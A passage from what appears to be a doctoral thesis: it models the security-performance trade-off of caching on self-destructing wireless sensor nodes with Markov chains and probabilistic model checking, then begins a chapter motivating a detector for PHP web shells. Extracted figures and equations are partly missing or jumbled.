equal probability. Hence, tloss will be assigned with an integer value in [1, T ] with the equal
probability of 1
T
. The bottom of Figure 4.3 illustrates the detailed description of transitions
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in the DTMC model. For example, “B1 : TRUE, 1T , tloss := 1” means that the CPS node
will be lost at the first time unit with probability of 1
T
. T indicates the duration for which
a sensor is exposed to an adversarial environment. It is a parameter that will be configured
by the user of our system. The value of T will be enlarged if the sensor is exposed longer






















, tloss := T







Figure 4.3: The component of loss decision; Reprinted from [155]
Component 2: Attack Time Assigning. Figure 4.4 presents the DTMC model that
illustrates how tattack is stochastically decided according to the distribution of attacking
time, where the maximum attacking time is denoted as M . The distribution on the top
of Figure 4.4 illustrates the distribution for attacking time (i.e., fattack(tattack)), which is
expected to be empirically acquired. Two states, “Attack Time Unknown” and “Attack
Time Assigned”, are involved in this DTMC model. tattack starts from the value of 0,
meaning that no specific time has been allocated. Then a specific value will be assigned
to tattack following fattack(tattack). For example, “BM : TRUE, fattack(M), tattack := M”
means that with the probability of fattack(M), an attacker needs to use M time units to
compromise this CPS node (i.e., tattack = M ). It is worth noting that probabilities of













TRUE, 1, tattack := 0
TRUE, fattack(1), tattack := 1
TRUE, fattack(2), tattack := 2
TRUE, fattack(M), tattack := M









Figure 4.4: The component of attack time assigning. fattack(tattack) indicates an example
of the distribution for attacking time, which can be empirically collected by employing
red-team-based testing. Such distribution could follow arbitrary distributions; Reprinted
from [155]
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condition of “TRUE”, accumulate to 1 (i.e.,
∑δ=M
δ=1 fattack(i) = 1).
Component 3: Timer. Figure 4.5 presents the timer represented by a DTMC model.
The model has two states, including “ticking” and “stop”, and it is enriched by a integer-
based variable t, which indicates the current time. The timer will stop proceeding after the
CPS node leaves the adversarial environment (i.e., after T time units). It will synchronize
with other components, “task generation”, “cache management”, and “attacker” by driving
the timing information used in these components.
Ticking Stop
t < T, 1, t := t + 1
t = T, 1, t := T
TRUE, 1, t := T




Figure 4.5: The timer; Reprinted from [155]
Component 4: Task Generation. The “Task Generation” component leverages the
distribution of time intervals between two consecutive tasks (i.e., ftask(δtask)) to generate
tasks. Again, this distribution could be empirically acquired. The distribution on the top of
Figure 4.6 illustrates an example, where ftask(δtask) indicates the probability for the time
interval of δtask and δtask ∈ [1,W ]. We consider the scenario that tasks are sequentially
generated. Figure 4.6 presents the DTMC model for the task generation process, where the
probability for each transition is governed by ftask(δtask). Our model will determine the
time of each task online (rather than in the phase of model initialization): when the current
task is executed, our model will determine the time for the next task (i.e., transitions of
“B1”, “B2”, . . . , “BW ” in Figure 4.6). For example, the transition of “BW : t < tloss ∧ t =
tnext, ftask(W ), tnext := tnext + W ” means that once the current task is executed (i.e.,
represented by t = tnext), the subsequent task will be triggered after W time units (i.e.,
represented by tnext := tnext + W ) with the probability of ftask(W ). In addition, when
















TRUE, 1, tnext := 1A:
t < tloss ^ t = tnext, ftask(W ), tnext := tnext + WBW:
t < tloss ^ t = tnext, ftask(1), tnext := tnext + 1B1:
t < tloss ^ t = tnext, ftask( ), tnext := tnext +  B2:
……
t = tloss, 1, tnext := 0C:
t > tloss, 1, tnext := 0D:
Figure 4.6: The component of task generation. ftask(δtask) indicates an example of the
distribution for time intervals between two consecutive tasks, which can be empirically
















t < tloss ^ t = tnext ^ tcache = 0, 1, tcache := Tcache ^ cntnot hit := cntnot hit + 1
t < tloss ^ t = tnext ^ tcache = 1, 1, tcache := 0 & cnthit := cnthit + 1
t < tloss ^ t! = tnext ^ tcache = 1, 1, tcache := 0
t < tloss ^ t = tnext ^ tcache > 1, 1, tcache := tcache   1 & cnthit := cnthit + 1
t < tloss ^ t! = tnext ^ tcache > 1, 1, tcache := tcache   1
t   tloss ^ tcache = 1, 1, tcache := 0
t   tloss ^ tcache > 1, 1, tcache := tcache   1






I: t   tloss ^ tcache = 0, 1, tcache := 0
J: t < tloss ^ t! = tnext ^ tcache = 0, 1, tcache := 0
J
Figure 4.7: The component of cache management. Conditions for transitions concern
several key criteria including before-loss (i.e., t < tloss), after-loss (i.e., t ≥ tloss), ob-
serving a task (i.e., t = tnext), and 1 time unit for caching (i.e., tcache = 1). cnthit and
cntnot−hit record the number of tasks that are handled by the cached instructions and data
and the number of those that trigger key retrieval and decryption, respectively; Reprinted
from [155]
transitions of “D” in Figure 4.6).
Component 5: Cache Management. Figure 4.7 presents the DTMC model for the
“Cache Management” component. This model contains two states including “Not-Cached”
and “Cached”. This model also involves a variable, namely tcache, representing the num-
ber of remaining time units until the cached information expires. Particularly, tcache = 0
indicates that cached information expires and all plaintext of sensitive information will
be completely eliminated. Essentially, tcache = 0 corresponds to the “Not-Cached” state
and tcache > 0 corresponds to the “Cached” state. Two additional variables, cnthit and
cntnot−hit, are also introduced to record the number of tasks that are handled by the cached
instructions and data as well as the number of those that trigger key retrieval and decryp-
tion, respectively. Generally, tcache decreases as time elapses. If the CPS node does not
cache any sensitive information (i.e., tcache = 0, in “Not-Cached” state) and no task is
issued, values of tcache, cnthit, and cntnot−hit will remain unchanged as indicated by the
transitions of “I” and “J” in Figure 4.7. Conversely, If the CPS node does not cache any
sensitive information but a task is issued, the CPS node will need to retrieve the key from
its anchor node and use the key to derive plaintext of sensitive information, which is il-
lustrated as transition “B” in Figure 4.7; meanwhile, the Tcache will be assigned to tcache,
indicating the maximum number of time units for caching; this transition will also increase
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the value of cntnot−hit by one, indicating a task that triggers key retrieval and decryption.
When the CPS node is in the “Cached” state (i.e., tcache > 0), we differentiate two
general scenarios including i) tcache > 1 and ii) tcache = 1. If tcache = 1, the CPS node
will transit back to the “Not-Cached” state (i.e., tcache = 1) after one time unit, which is
illustrated by the transitions of “C”, “D”, “G” in Figure 4.7; if tcache > 1, the CPS node
will stay in “Cached” state (i.e., tcache > 1) after one time unit, which is illustrated by the
transitions of “E”, “H”, “F ” in Figure 4.7. However, regardless whether tcache > 1 or
tcache = 1, if a task is generated when the CPS node stays in the “Cached” state, cnthit
will be increased by one; transitions of “C” and “E” illustrate the increase of cnthit in such
situations.
We also consider whether the CPS node is lost. Specifically, if it is lost, meaning being
detached from the monitored entity in our threat model, subsequent tasks will no longer be
visible to this node. Since tloss represents the specific time unit for node loss, “t < tloss”
and “t ≥ tloss” refer to “before-loss” and “after-loss” in the model, respectively. Despite
the fact that the CPS node will not handle tasks after it is lost, tcache will monotonically
decrease along with time elapse regardless. Particularly, transitions of “B”, “C”, “D”,
“E”, “F ”, and “J” correspond to the “before-loss” state; transitions of “G”, “H”, and “I”
are used for the “after-loss” state.
Component 6: Attacker. Figure 4.8 presents the model for the “attacker”, which has
three states including “Waiting”, “Succeed”, and “Failed”. These states are characterized
by a variable named succ, where values of 0, 1, and 2 refer to “Waiting”, “Succeed”,
and “Failed”, respectively. When the CPS node is not lost (i.e., t < tloss), the attacker
will stay in the “waiting” state (i.e., succ := 0), which is described by transition B in
Figure 4.8. Once the CPS node is lost (i.e., t = tloss), the attacker will immediately start
to compromise this node. If the remaining cache time is larger than the time needed by
attacker to compromise the system (i.e., tcache > tattack), the cached sensitive information
will then be leaked, implying a successful attack (i.e., succ := 1) as described in the
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transition C in Figure 4.8. Otherwise, if the remaining cache time is smaller than the time
needed by attacker to compromise the system (i.e., tcache ≤ tattack), the cached information
will have already expired when the attacker subverts the system, leading to a failed attack
(i.e., i.e., succ := 2) as described in the transition D in Figure 4.8. The attacker will
physically possess the CPS node after the node is lost. Therefore, the attacker will stay on
“Succeed” and “Failed” states after the attack, which are characterized by the transitions E















TRUE, 1, succ := 0
t = tloss ^ tcache   tattack ^ succ = 0, 1, succ := 1
t = tloss ^ tcache < tattack ^ succ = 0, 1, succ := 2
t < tloss ^ succ = 0, 1, succ := 0
succ = 1, 1, succ := 1
succ = 2, 1, succ := 2
Figure 4.8: The component of “Attacker”. “succ = 2” indicates the ‘Failed” state, meaning
that the attacker has failed on successfully compromising this node; Reprinted from [155]
4.5.2 Integrating Individual Components
The developed model intends to characterize a set of interacting components including
“loss decision” (to model when the sensor is lost), “task generation” (to model the inter ar-
rival time of tasks), “cache management” (to model how cache expires as time elapses), “at-
tack time assigning” (to probabilistically model how long an attacker needs to successfully
compromise the sensor), “attacker” (to model whether the attack is successful considering
states of cache and required attacking time), “timer” (to model time elapses incrementally).
This model is implemented using PRISM [116], a probabilistic symbolic model checker.
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The implementation of this model has two steps, namely configuration and execution.
In the configuration step, B1, B2, ... and BM in the “Loss Detection” model (as in Fig-
ure 4.3) and those of B1, B2, ... and BM in the “Attack Time Assigning” model (as in
Figure 4.4) are used to probabilistically configure when the sensor is lost and how long an
attacker needs to successfully compromise this sensor, respectively. B1, B2, ... and BM in
the “Loss Detection” model need to be synchronized since only one decision will be made
probabilistically but deterministically; this is the same for “Attack Time Assigning”. How-
ever, transitions for loss decision are independent of those of attack time assigning and they
do not have to be synchronized. The only requirement is that they have to be performed
before the evaluation of other transactions since other components need the loss time and
attacking time to execute. Nevertheless, we indeed synchronize these transitions (i.e., B1,
B2, ... and BM in the “Loss Detection” model and those of B1, B2, ... and BM in the
“Attack Time Assigning” model) to simplify the model implementation. It is worth noting
that such implementation choice will not impact analysis results.
The developed model is a discrete model that characterizes how system states change
as time elapses. In the execution step, all transitions except those for configuration (i.e.,
B1, B2, ... and BM in the “Loss Detection” model and those of B1, B2, ... and BM in the
“Attack Time Assigning” model) will be synchronized by time. Specifically, they should
be evaluated once the time increases by one unit to assess the consequence of time elapse.
Therefore, we introduce two phases including “[tick]” and “[trans]”. “[tick]” models the
elapse of time and “[trans]” triggers the evaluation of transitions as a result of time elapse.
Each [trans] phase will be triggered immediately after the execution of a [tick] phase (i.e.,
the time is increased by 1 unit), as shown in Figure 4.9. As shown in Table 4.1, transitions
of B, C, and D in the “timer” model are synchronized by “[tick]” to time elapses incre-
mentally; all other transitions in other models are synchronized by “[trans]” so that they
can be evaluated simultaneously.
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[Initialization] [tick][trans][tick][trans] [tick][trans]……
Figure 4.9: The synchronization among transitions; Reprinted from [155]
Sync Component Transitions
“Initialization”
“Loss Decision” (Fig. 4.3) B1, B2, ... BT
“Attack Time Assigning” (Fig. 4.4) B1, B2, ... BM
“Tick” “Timer” (Fig. 4.5) B, C, D
“Trans”
“Loss Decision” (Fig. 4.3) C
“Attack Time Assigning” (Fig. 4.4) C
“Task Generation” (Fig. 4.6) B1, B2, ... BW , C, D
“Cache Management” (Fig. 4.7) B, C, D, E, F , G, H , I , J
“Attacker” (Fig. 4.8) B, C,D, E, F
Table 4.1: Synchronization of Transitions; Reprinted from [155]
4.5.3 Defining and Using Queries Based on PCTL
After we model the surface node and the attacker based on DTMC, we can then study
sensor properties using PCTL queries. The PCTL queries together with probabilistic model
checkers such as PRISM [116] make it possible to issue semantic-rich queries towards the
built model. In this paper, we will develop PCTL properties that concern security and
performance of a sensor both individually and jointly. Specifically, we have designed three
PCTL queries, which are discussed as follows:
• P=?[F succ = 2] : since “succ = 2” indicates the failure of an attacker, this query
returns the probability for a sensor node to leak no sensitive information. “F succ =
2” represents all paths that will reach the status of “the sensor is lost but the attacker
fails” (i.e., the “Failed” state in Figure 4.8).
• P=?[F succ > 0 ∧ cnthitcnthit+cntnot-hit ≥ α] : this query returns the probability for at
least α (0 ≤ α ≤ 1) of tasks to be processed by cached information (i.e., program
instructions and data) regardless of the success of the attacker. succ has three possible
values including 0, 1, and 2 in our model, where succ = 1 and succ = 2 indicate
success and failure of sensitive information retrieval, respectively.
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• P=?[F succ = 2∧ cnthitcnthit+cntnot-hit ≥ β] : this query returns the probability for at least
β (0 ≤ β ≤ 1) of tasks to be processed by cached information (i.e., instructions and
data) and meanwhile the attacker failed to retrieve sensitive information.
Although we have used α and β to represent thresholds in two properties, they repre-
sent exactly the same semantic meaning, i.e., the minimal percentage of tasks that should
be handled by the cached information. We use different names to facilitate the reference to
these two properties and their parameters later in Section 6.6. These properties quantify the
trade-offs between security and performance given different values of Tcache. Specifically,
when the value of Tcache increases, more tasks are likely to be handled by cached informa-
tion, thereby resulting a growing value of P=?[F succ > 0∧ cnthitcnthit+cntnot-hit ≥ α]. However,
it will render an attacker more time to comprise the sensitive information before the cache
expires, leading to a decreasing probability of attackers’ failures (i.e., P=?[F succ = 2]).
Comparatively, P=?[F succ = 2 ∧ cnthitcnthit+cntnot-hit ≥ β] experiences a non-monotonic trend
with respect to Tcache given the fact that characterizes security and performance simultane-
ously.
In practical usage, the designer can explore all possible values of Tcache to identify
whether the best value that can enable the satisfaction of security and performance require-
ments, which could be given by thresholds. For example, the designer can set up two
thresholds for security and performance, which are denoted as thres1 and thres2, respec-
tively (e.g., P=?[F succ = 2] ≥ thres1 and P=?[F succ > 0 ∧ cnthitcnthit+cntnot-hit ≥ α] ≥
thres2 ). Based on these two thresholds, the proposed framework can first decide whether
at least one value of Tcache exists; if such value exists, it will further reveal the range for
feasible Tcache values. Next, the designer can refer to the third property to identify the
value of Tcache that i) resides within the discovered range and ii) yields the highest value
for P=?[F succ = 2 ∧ cnthitcnthit+cntnot-hit ≥ β].
It is worth noting that a system is usually designed to meet certain pre-defined specifi-
cations (e.g., properties) and these specifications, particularly the quantitative specifications
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are given by the user. In other words, we expect values for thresholds (i.e., α and β) are
offered by the user of our system.
4.5.4 Framework Usage
In order to use the proposed framework to quantitatively evaluate security and system per-
formance of a self-destruct wireless sensor, a user needs to specify a set of inputs, which
include 1) the number of time units for which this sensor is exposed to adversarial areas
(denoted as T ), 2) the maximal number of time units used by attackers to successfully
compromise a sensor node (denoted as M ), 3) the distribution of time units needed for suc-
cessful attacks (denoted as fattack(tattack)), 4) the maximal time interval between two con-
secutive tasks (denoted as W ), 5) the distribution of task intervals (denoted as ftask(δtask)),
6) two performance thresholds α and β (i.e., the performance properties). Next, the user
can specify the range of Tcache values and our framework will identify the probability to
satisfy indicated security and performance properties. Specifically, T depends on the con-
text (e.g., locations and missions) in which this sensor is used; M , fattack(tattack), W , and
ftask(δtask) can be empirically acquired.
4.6 Use Cases
In order to illustrate the effectiveness and usage of the proposed framework, we have devel-
oped a collection of use cases. Without the loss of generality, we use T = 60, M = 10, and
W = 10 and apply them for all use cases. For each case, we increase the value of Tcache
from 1 to 30 and explore how it affects the performance and security by seeking results for
the three PCTL-based queries as described in Sec 4.5.3. In the performance query, we set
α = 20%; in the trade-off query, we explore different values of β, ranging from 20% to
80% with a step of 20%.
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4.6.0.1 Generating The Distribution of Attacking Time
Depending on sensors and attackers, the distribution of attacking time will vary and it will
not necessarily follow any well-known distribution. Ideally, such distribution should be
empirically acquired by employing a red team who emulate attackers [42]. Unfortunately,
we currently do not have any red-team data to derive the empirical distribution. To the best
of our knowledge, the only red-team-based measurement of attacking time is presented
in [42], which, however, neither concludes with any analytical expression of the distribution
nor publicizes the data. Nevertheless, the attacking time visually approximates the Poisson
distribution (see Figure 1. in [42]). As a result, we leverage the Poisson distribution to
generate the distribution of attacking time.
We use P (δ;λattack) to denote the Poisson process to generate the probability distribu-
tion (i.e., fattack(tattack)) for attacking time, where tattack is the random variable and λattack
is a parameter to be configured. Since tattack is bounded (i.e., 1 ≤ tattack ≤ M ), we adopt
the following truncation rules to generate fattack(tattack).
fattack(tattack) =

P (0;λattack) + P (1;λattack)
when tattack = 1;





λattack implies attackers’ capabilities: smaller values of λattack suggest attackers with
higher capabilities since they tend to need less time to compromise the sensor node; sim-
ilarly, larger λattack values indicate weaker attackers who need more time to compromise.
We consider three distributions where λattack is configured as 2, 4, and 6, respectively. After

































Figure 4.10: The visualization of fattack(tattack) for λattack = 2, 4, 6 from top to bottom;
Reprinted from [155]
1. These three distributions are visualized in Figure 4.10.
4.6.0.2 Generating The Distribution of Task Inter Arrival Time
The inter arrival time of tasks for embedded systems follow two typical patterns, namely i)
the periodic pattern and ii) the aperiodic pattern [77, 245]. The Poisson process is a typical
distribution to characterize aperiodic patterns. For example, the Poisson distribution can
(reasonably) well model counting, arrival rate, and inter arrival time in many applications
such as the car inter arrival time, user requests for vehicles [99], and photons arriving
at a telescope [195]. Conversely, we leverage the normal distribution (i.e., N (µ, σ2)) to
generate tasks with periodic patterns. Specifically, the probability distribution of δtask (the
interval between two consecutive tasks) is generated using the following truncation rules:
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Figure 4.11: The visualization of ftask(δtask) for (µ = 2, σ2 = 1), (µ = 5, σ2 = 1), and





when δtask = 1;
f(δtask|µ, σ2)
when 2 ≤ δtask ≤W − 1;
∑x=∞
x=W f(x|µ, σ2)
when δtask =W ;
In the normal distribution, µ indicates the period in which tasks are generated and σ2
imply noises. In our case studies, we explored three cases where (µ, σ2) are assigned with
(µ = 2, σ2 = 1), (µ = 5, σ2 = 1), and (µ = 8, σ2 = 1), respectively. These three dis-
tributions are visualized in Figure 4.11. A smaller value of µ indicates that tasks are more
frequently generated, thereby being prone to the leakage of sensitive information. After the




We also leverage the Poisson distribution P (δtask;λtask) to generate the distribution
of aperiodic task intervals, where truncation rules are listed as follows:
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P (0;λtask) + P (1;λtask)
when δtask = 1;
P (δtask;λtask)





λtask specifies the frequency of tasks, and a small value of λtask indicates that tasks
are more frequently generated, thereby being prone to the leakage of sensitive information.
We consider three distributions where λtask is configured as 3, 5, and 7, respectively. These
three distributions are visualized in Figure 4.12. After the truncation, we normalize the




4.6.0.3 Discussion and Summary of Settings
It is worth noting that although we have adopted known distributions (i.e., the Poisson
distribution and the Normal distribution) to generate inter arrival time of tasks and attack-
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Cases Attacking Time Task Intervals
Case 1 P (δ; 2) N (µ = 2, σ2 = 1)
Case 2 P (δ; 4) N (µ = 5, σ2 = 1)
Case 3 P (δ; 6) N (µ = 8, σ2 = 1)
Case 4 P (δ; 2) P (δ; 3)
Case 5 P (δ; 4) P (δ; 5)
Case 6 P (δ; 6) P (δ; 7)






































Case 1 ( λattack = 2, µtask = 2, σtask
2  =1)
Case 2 ( λattack = 4, µtask = 5, σtask
2  =1)
Case 3 ( λattack = 6, µtask = 8, σtask
2  =1)
Figure 4.13: The probability for a sensor node to leak no sensitive information (i.e.,
P=?[F succ = 2]) given different values of Tcache for Case 1, 2, and 3. Such probabil-
ity decreases as Tcache grows; less frequent tasks and weaker attackers also imply higher
system security. Reprinted from [155]
ing time for system evaluation, the design of our proposed framework does not assume
specific distributions for attacking time or task intervals. In fact, truncation rules and the
subsequent normalization, which we have adopted to generate distributions, together lead
to skewed distributions (specifically for those values on the boundaries), which are hence
non-standard and arguably arbitrary.
We consider 6 use cases that integrate different settings for attacking time and time






































Case 4 ( λattack = 2, λtask = 3)
Case 5 ( λattack = 4, λtask = 5)
Case 6 ( λattack = 6, λtask = 7)
Figure 4.14: The probability for a sensor node to leak no sensitive information (i.e.,
P=?[F succ = 2]) given different values of Tcache for Case 4, 5, and 6. Such probabil-
ity decreases as Tcache grows; less frequent tasks and weaker attackers also imply higher
system security. Reprinted from [155]
4.6.1 Quantitative Analysis of Security, Performance, and Their Trade-
Offs
P=?[F succ = 2] represents the probability for a sensor node to leak no sensitive infor-
mation. Specifically, when we execute our model using using PRISM [116], we can query
the model checker with P=?[F succ = 2] to get the probability value. Figure 4.13 and Fig-
ure 4.14 present such probabilities (i.e., P=?[F succ = 2]) for these 6 use cases when Tcache
increases. Intuitively, attackers will have more time to compromise a sensor node when
Tcache grows, resulting a larger value of P=?[F succ = 2]. Our analysis results as presented
in Figure 4.13 and Figure 4.14 do not only confirm this trend but also offer quantitative re-
sults. In addition, task-generation patterns and attackers’ capabilities affect the security of
the system. Specifically, less frequent tasks and weaker attackers’ capabilities imply higher
system security. Such a trend is also observed in Figure 4.13 and Figure 4.14. Specifically,
the system accomplishes lower security when the attacker’s capability increases (i.e., with
lower λattack) given the same value of Tcache.
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Case 1 ( λattack = 2, µtask = 2, σtask
2  =1)
Case 2 ( λattack = 4, µtask = 5, σtask
2  =1)
Case 3 ( λattack = 6, µtask = 8, σtask
2  =1)
Figure 4.15: The probability for at least 20% of tasks to be processed by cached information
regardless of the success or failure of the attacker (i.e. P=?[F succ > 0 ∧ cnthitcnthit+cntnot-hit ≥
20%]) given different values of Tcache for use cases 1, 2, and 3. Such probability increases










































Case 4 ( λattack = 2, λtask = 3)
Case 5 ( λattack = 4, λtask = 5)
Case 6 ( λattack = 6, λtask = 7)
Figure 4.16: The probability for at least 20% of tasks to be processed by cached information
regardless of the success or failure of the attacker (i.e. P=?[F succ > 0 ∧ cnthitcnthit+cntnot-hit ≥
20%]) given different values of Tcache for use cases 4, 5, and 6. Such probability increases
as Tcache grows; the system benefits most when tasks are frequently generated; Reprinted
from [155]
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(a) Use Case 1









































(b) Use Case 2



































(c) Use Case 3







































(d) Use Case 4







































(e) Use Case 5







































(f) Use Case 6
Figure 4.17: The quantified trade-offs between security and performance (i.e., P=?[F succ
= 2 ∧ cnthit
cnthit+cntnot-hit
≥ β]) given different values of β (i.e., β = 20%, 40%,
60%, and 80%) as Tcache increases (from 1 to 30) for each use case; Reprinted from [155]
Figure 4.15 and Figure 4.16 illustrate the probability for at least α (α = 20% in these
cases) of tasks to be processed by cached information regardless of the success or failure of
the attacker. Obtaining the value of this probability is to query our built model in PRISM
using P=?[F succ > 0 ∧ cnthitcnthit+cntnot-hit ≥ 20%]. Again, we increase Tcache incrementally
and show how this probability varies for each use case. Intuitively, system performance
increases as Tcache grows. Our results presented in Figure 4.15 and Figure 4.16 confirm


































P=? [ Fsucc = 2 ]
P=? [ Fsucc > 0 & cache−hit ratio  >= 20% ]
P=? [ Fsucc = 2 & cache−hit ratio  >= 20% ]
Figure 4.18: The quantitative assessments of all properties for Use Case 6; Reprinted
from [155]
frequently generated, the system benefits more from the cache mechanism. Such trend
is also verified by the analysis results. For example, use case 1, which has smaller task
intervals, benefits more from the same value of Tcache compared to use cases 2 and 3; use
case 4 benefits more compared to use cases 5 and 6 for the same reason.
The PCTL property of P=?[F succ = 2 ∧ cnthitcnthit+cntnot-hit ≥ β] investigates the prob-
ability for at least β (0 ≤ β ≤ 1) of tasks to be processed by cached information (i.e.,
instructions and data) and meanwhile the attacker fails to retrieve sensitive information. It
explores the trade-offs between security and performance given different values of Tcache:
an increased value of Tcache benefits system performance but compromises its security;
system security is improved at the cost of reduced performance when Tcache drops. Such
trade-offs have been quantified by the proposed framework. Specifically, we vary the value
of β (i.e., from β = 20% to β = 80%) for each case and query the model with this PCTL
property. Figure 4.17a, 4.17b, 4.17c, 4.17d, 4.17e, and 4.17f present the analytical
results for 6 use cases, respectively. Generally, such probability first increases and then de-
creases as Tcache grows for the same value of β. This implies the possibility of identifying
the optimized value for Tcache to accomplish highest probability if this PCTL property is
individually used.
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4.6.2 Guiding The Configuration of Tcache Using Verifiable Properties
The quantified security, performance, and their trade-offs for a sensor derived from verifi-
able properties render system designers tremendous flexibility to configure Tcache. Specif-
ically, the properties for system security and performance can assist the designer in identi-
fying i) whether at least one feasible value of Tcache exists and ii) its corresponding range.
Then the trade-off property can further guide the designer to select the value for Tcache that
accomplishes the best trade-off.
We use Use Case 6 to illustrate the usage. Figure 4.18 aggregates the quantitative
assessments for all three properties on the same plot, where both α and β are configured as
20%. Without the loss of generality, we assume two thresholds including thresholdsecurity =
0.7 and thresholdperformance = 0.5 are used to represent the requirements for security and
performance, respectively. Practically, thresholdsecurity = 0.7 indicates that with at least
70% probability, the system leaks no sensitive information after it is lost; thresholdperformance =
0.5 means that with at least 50% probability, more than 20% of generated tasks are pro-
cessed by cached sensitive information. Specifically, we need to identify a set of values for
Tcache (denoted as S), where each value in S will lead to the satisfaction of P=?[F succ =
2] ≥ thresholdsecurity and P=?[F succ > 0∧ cnthitcnthit+cntnot-hit ≥ α] ≥ thresholdperformance.
As illustrated in Figure 4.18, the quantitative assessments for these two properties by ex-
ploring Tcache from 1 to 30 reveal that S = {6, 7, 8, 9, 10, 11}. Among these feasible values,
Tcache = 7 enables the highest probability for the system to preserve the confidentiality and
simultaneously achieve high cache-hit ratio.
4.7 Discussion
An Optimization-Based Problem Formulation: One possible strategy is to formulate
the studied problem as an optimization problem and subsequently solve it. However, mod-
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eling a solvable optimization problem usually makes certain assumptions such as assuming
events follow certain distributions. Unfortunately, an assumed well-known distribution (or
a few distributions) may not be able to effectively characterize how events are empirically
generated in practice. Nevertheless, empirical distributions can be collected from histor-
ical data. The objective of our work is to design a framework that can directly integrate
arbitrary empirical distributions to perform systematic, rigorous analysis towards provable
results. We devise our framework using DTMC to accomplish this objective by design,
which does not assume any a priori distributions. Despite its advantages in integrating ar-
bitrary distributions and enabling provable results, our model follows a verification process.
Specifically, given certain specifications (i.e., the system is compromised and the informa-
tion stays secure), the model checker will evaluate our model to i) assess whether these
specifications are satisfied and ii) identify probabilities. Therefore, identifying the optimal
Tcache by exhausting its different values is the consequence of adopting DTMC and the
probabilistic model checking framework, representing an arguably acceptable trade-off.
Possible Alternative Solutions For Loss Detection: The loss detection of our design is
triggered by the connection for the key retrieval (from a sensor to the base node), where
the key retrieval is caused by the monitored physical/environment. A few other possible
strategies could serve as alternative solutions for loss detection. For example, one can
launch a watchdog timer to periodically identify whether the connection between the base
node and the sensor node is unavailable; one can also use Inertial Measurement Units
(IMU) sensors to sense the motion of monitored entities (e.g., a monitored person for body
sensor networks). Compared to these possible alternatives, our task-triggered loss detection
has unique advantages.
The network connections between a sensor and the base node needs to be mutually au-
thenticated, which will introduce computational overhead. Such authenticated connections
are not only mandated for our designed key-retrieval connections but also needed by the
scheme based on a watchdog timer. Our design considers the scenario in which the connec-
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tion for the key retrieval (from a sensor to the base node) is triggered by the monitored phys-
ical/environment. In other words, key-retrieval connections will only be triggered when it
is necessary. Comparatively, the connection issued by a watchdog-timer-based method is
independent of the executed tasks. Therefore, our design offers two advantages compared
to the watchdog-timer-based approach. First, it tends to be more cost-effective since it will
be triggered when it is needed; comparatively, the watchdog-timer-based scheme needs to
trigger connections periodically. Second, our method can simultaneously enable the base
node to simultaneously audit the task execution activities in a sensor node, which has been
adopted in designing remote auditing filesystem [96].
Using an on-board IMU sensor introduces a few concerns. First, significant design and
implementation overhead (e.g., designing, training, and testing statistical classifiers) might
be introduced to accurately identify activity levels of a sensor. And such implementation
is very context dependent (e.g., different users may generate different activity signals).
Second, once an attacker collects a lost sensor, the attacker may emulate the activity (e.g.,
the physical motion) of a sensor to mislead the decision of this sensor.
Loss Probability: The probability distribution for the time when a sensor is lost, to
the best of our knowledge, has not been systematically studied and modeled. Therefore,
citations are not available. However, we consider a general scenario in which a sensor can
be equally lost in any time point during T , therefore forming a uniform distribution. We
acknowledge this distribution may not be uniform in certain scenarios. For example, the
physical connection between the sensor and its monitored physical object might be more
likely to be worn out at the end of T , thereby yielding higher probabilities to be lost as time
elapses. In this case, the specific distribution can be empirically measured and integrated
into our model by modifying the component of loss decision, where different probabilities
can be assigned to these transitions.
Semantic Meanings of Time Units: The proposed framework itself does not assign se-
mantic meanings to time units. Instead, the meaning of a time unit depends on the practical
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usage and could represent arbitrary values. Our current model explores the scenarios in
which i) the surface node could be lost at any time unit with equal probability (as indicated
in Figure 4.3) and ii) a task will be generated starting from the first time unit (i.e., when
t = 1). Although not all practical cases follow these scenarios, both conditions can be eas-
ily customized to incorporate new characteristics for the loss of sensor node and the task
generation. Such high extensibility is rooted in the fact that our framework can integrate
arbitrary distributions. Both the time of being lost and the first time to trigger the task
derived can be acquired from empirical studies.
4.8 Summary
In this chapter, we proposed a framework to facilitate the design of self-destructing CPS
with assured security and performance properties. This framework includes a crypto-
graphic mechanism that enables autonomous self-destruction of a wirelessly-connected
CPS node and a caching strategy to reduce the performance overhead caused by the self-
destructing mechanism. We have also designed and implemented system models based on
Discrete-Time Markov Chains (DTMC); we have defined security and performance prop-
erties in the form of probabilistic computation tree logic (PCTL). Together, our framework
offers unique capabilities on performing rigorous, quantitative analysis to explore the opti-
mized balance between system performance and security. Our framework can incorporate
into analysis arbitrary distributions that are used to characterize task-generation patterns
and attackers’ capabilities, implying its wide applicability.
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Chapter 5: Automatically Detecting
PHP-Based Malicious Web Shells
5.1 Motivation
A web shell is a server-side script uploaded by an attacker to a compromised web server,
aiming to enable persistent access on this compromised machine. It serves as the post-
exploitation phase following a variety of exploiting activities such as SQL injection, remote
file inclusion (RFI), unrestricted file uploading, and cross-site scripting (XSS). Detecting
web shells is therefore of significant importance considering the huge popularity of web
services and their reportedly high proneness of being vulnerable.
While extensive research has been carried out to secure web services at the pre-
exploitation phase (i.e., to audit source code for vulnerability identification) and the during-
exploitation phase (i.e., to detect intrusions that exploit vulnerabilities), systematic solu-
tions to defeat post-exploitation activities, particularly to detect uploaded web shells, are
generally unavailable. Nevertheless, detecting web shells is of fundamental importance in
practice. As the last step of defense, it complements existing pre- and during-exploitation
security solutions by mitigating consequences of their potential false negatives. Designing
effective web-shell-detection techniques, however, is faced with a few significant chal-
lenges. First, a web server usually contains a large number of server-side scripts such as
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function scripts, plugin scripts, and management scripts. These (benign) scripts are subject
to constant changes as a result of uploading, updating, and patching. As a consequence, it is
extremely challenging to identify web shells using fingerprints of server-side scripts (e.g.,
scripts’ message digests). Second, a web shell usually does not contain low-level exploit
content such as shellcode that are written with machine instructions. Instead, it is written in
high-level languages, using languages’ built-in functions that are also employed by benign
scripts. Thus, it is infeasible to leverage exploitation-based detection methods to detect
web shells. Finally, the communication between an attacker and a web shell could only re-
quire negligibly low bandwidth. For example, an attacker may only need to exchange a few
commands in a very infrequent manner with the web shell, making their communications
extremely stealthy.
In order to overcome these challenges, we have designed a novel detection system
named ShellBreaker. Considering the fact that PHP is the leading language for server-side
script development, our current implementation of ShellBreaker focuses on PHP-based
malicious web shells. ShellBreaker detects a malicious web shell by evaluating it through
three aspects including i) its communication with external users/attackers, ii) its adaption
to the run-time environment, and iii) its usage of sensitive operations. Specifically, we have
made the following contributions.
• We have proposed a set of novel syntactic and semantic features to characterize the
differences between malicious web shells and benign PHP scripts.
• We have empirically validated the effectiveness of these features and integrated them
for detection using a statistical classifier.
• We have evaluated ShellBreaker using a large number of real-world, PHP-based web
